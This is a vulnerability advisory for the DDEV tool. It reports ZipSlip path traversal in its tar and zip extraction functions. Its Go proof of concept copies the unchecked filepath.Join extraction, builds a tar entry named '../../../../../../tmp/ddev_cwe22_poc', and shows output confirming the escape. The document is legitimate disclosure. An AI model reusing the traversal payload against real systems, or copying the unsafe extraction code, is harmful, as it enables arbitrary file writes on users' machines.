DDEV has ZipSlip path traversal in tar and zip archive extraction

Summary

The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.

Vulnerable Code

pkg/archive/archive.go:235 (Untar):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

pkg/archive/archive.go:342 (Unzip):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.

Impact

Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.

Proof of Concept

package main

// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.

import (
	"archive/tar"
	"bytes"
	"fmt"
	"io"
	"os"
	"path/filepath"
)

// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
	tr := tar.NewReader(r)
	for {
		header, err := tr.Next()
		if err == io.EOF {
			break
		}
		if err != nil {
			return err
		}
		// VULNERABLE: identical to archive.go:235
		// fullPath := filepath.Join(dest, file.Name)
		fullPath := filepath.Join(dst, header.Name)

		switch header.Typeflag {
		case tar.TypeDir:
			os.MkdirAll(fullPath, 0755)
		case tar.TypeReg:
			os.MkdirAll(filepath.Dir(fullPath), 0755)
			f, _ := os.Create(fullPath)
			io.Copy(f, tr)
			f.Close()
		}
	}
	return nil
}

func main() {
	// Build malicious tar with traversal entry
	var buf bytes.Buffer
	tw := tar.NewWriter(&buf)
	payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
	tw.WriteHeader(&tar.Header{
		Name: "../../../../../../tmp/ddev_cwe22_poc",
		Mode: 0644,
		Size: int64(len(payload)),
	})
	tw.Write(payload)
	tw.Close()

	// Extract into temp directory
	extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
	defer os.RemoveAll(extractDir)

	untarVulnerable(extractDir, &buf)

	// Verify escape
	escaped := "/tmp/ddev_cwe22_poc"
	if data, err := os.ReadFile(escaped); err == nil {
		fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
		fmt.Printf("[!!!] Content: %s", string(data))
		os.Remove(escaped)
	} else {
		fmt.Println("[OK] Not vulnerable")
	}
}

Output:

[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal

Note: Both Untar (archive.go:235) and Unzip (archive.go:342) use the same filepath.Join(dest, file.Name) pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.

Suggested Fix

Add path containment check in both Untar and Unzip functions.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research